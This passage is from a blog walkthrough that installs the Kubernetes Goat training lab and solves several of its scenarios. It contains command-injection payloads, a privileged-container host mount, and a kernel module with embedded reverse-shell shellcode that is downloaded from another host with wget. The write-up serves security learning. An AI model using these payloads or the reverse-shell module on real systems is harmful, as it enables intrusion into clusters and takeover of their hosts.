Installing and Solving Kubegoat in Kubernetes cluster running on VMs.

5 min readSep 3, 2023

Welcome to this blog post on “Installing Kubegoat in a Kubernetes cluster running on VMs.” In this post, we will walk through the steps of installing Kubegoat, a tool designed to simulate real-world Kubernetes cluster misconfigurations and vulnerabilities, in a Kubernetes cluster running on virtual machines.

In addition to installing Kubegoat in a Kubernetes cluster running on VMs, we will also go through and solve each module of Kubegoat. This will provide a hands-on learning experience and help us understand how to identify and fix common misconfigurations and vulnerabilities in a Kubernetes cluster.

In a previous blog post(https://pswalia2u.medium.com/deploying-kubernetes-cluster-2ef2fbdd233a), we discussed how to deploy a Kubernetes cluster . If you haven’t already, I recommend reading that post first to get a better understanding of the basics of setting up a Kubernetes cluster. With that knowledge in hand, we can now move on to installing Kubegoat and exploring its capabilities.

Installation:

Prerequisite: The Kubernetes cluster should be up and running.

Cloning the kube-goat project.

git clone https://github.com/madhuakula/kubernetes-goat.git

2. Installing helm.

curl https://raw.githubusercontent.com/helm/helm/main/scripts/get-helm-3 | bash

3. Setting up kubegoat.

bash setup-kubernetes-goat.sh

4. Exposing kubegoat.

bash access-kubernetes-goat.sh

Scenario 1: Sensitive keys in codebases

http://127.0.0.1:1230
dirsearch -u http://172.16.94.10:1230/

./gitdumper.sh http://172.16.94.10:1230/.git/ test

git log -p

#First Flag
k8s-goat-51bc78332065561b0c99280f62510bcc

#Secrets
aws_access_key_id = AKIVSHD6243H22G1KIDC
aws_secret_access_key = cgGn4+gDgnriogn4g+34ig4bg34g44gg4Dox7c1M

Scenario 2: DIND(docker-in-docker)

a. Command injection

http://127.0.0.1:1231

#command injection in ping functionality
127.0.0.1;id

b. Finding mounted docker socket:

;find / -name docker.sock

c. Installing static binary for docker cli:

curl -OL https://download.docker.com/linux/static/stable/x86_64/docker-24.0.5.tgz
;ls -al docker-24.0.5.tgz
;tar -xvf docker-24.0.5.tgz
#Extracting takes around 5 min, so be patient

d. Spinning up a new container with the mounted hosts file system and — privilege flag

; /docker/docker -H unix:///custom/docker/docker.sock pull ubuntu
; /docker/docker -H unix:///custom/docker/docker.sock run -it --privileged -v /:/host_fs/ ubuntu bash

Note: In this challenge host is also a docker container.

Scenario 3: SSRF in the Kubernetes (K8S) world

a. Finding and confirming SSRF using intereact.sh

b. TCP Port scanning via SSRF:

We found port 5000 is running a web server giving HTTP response saying refer to metadata.db end point.

c. We found a secret via this metadata.db end point.

metadata-db/latest/secrets/kubernetes-goat

k8s-goat-ca90ef85db7a5aef0198d02fb0df9cab

Scenario 4: Container escape to the host system(CAP_SYS_MODULE- kernel module and CAP_SYS_CHROOT-chroot)

a. We start from a shell within a container.

b. Checking linux capabilities-

capsh --decode=`/bin/sh -c 'cat /proc/1/status' | grep -i 'CapEff' | awk '{print $2}'`

c. There are many capabilities which can be abused here. Let’s use CAP_SYS_MODULE to install our malicious kernel module.

d. Finding the IP address of container:

e. Kernel Module:

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/kmod.h>
#include <linux/init.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Claude");
MODULE_DESCRIPTION("Shorter reverse shell LKM");  
MODULE_VERSION("1.0");

//msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.244.0.43 LPORT=4443 -f c 
static char shellcode[] = 
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97"
"\x48\xb9\x02\x00\x11\x5b\x0a\xf4\x00\x2b\x51\x48\x89\xe6"
"\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce"
"\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f"
"\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48"
"\x89\xe6\x0f\x05";

typedef void (*sc)(void);

static int __init reverse_shell_init(void) {
  sc code = (sc)shellcode;
  code();
  return 0;
}

static void __exit reverse_shell_exit(void) {
  printk(KERN_INFO "Exiting");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

f. Make file:

obj-m +=reverse-shell.o

all:
 make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
 make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

g. Compile and transfer kernel module to container:

cd /lib/modules && wget http://172.17.0.1/reverse-shell.ko

h. We were unable to load this kernel module as insmod tool is not available. We tried installing that but failed.

insmod reverse-shell.ko

i. If we check root directory we find that host’s file system is mounted at /host-system and we have CAP_SYS_CHROOT capability in our container.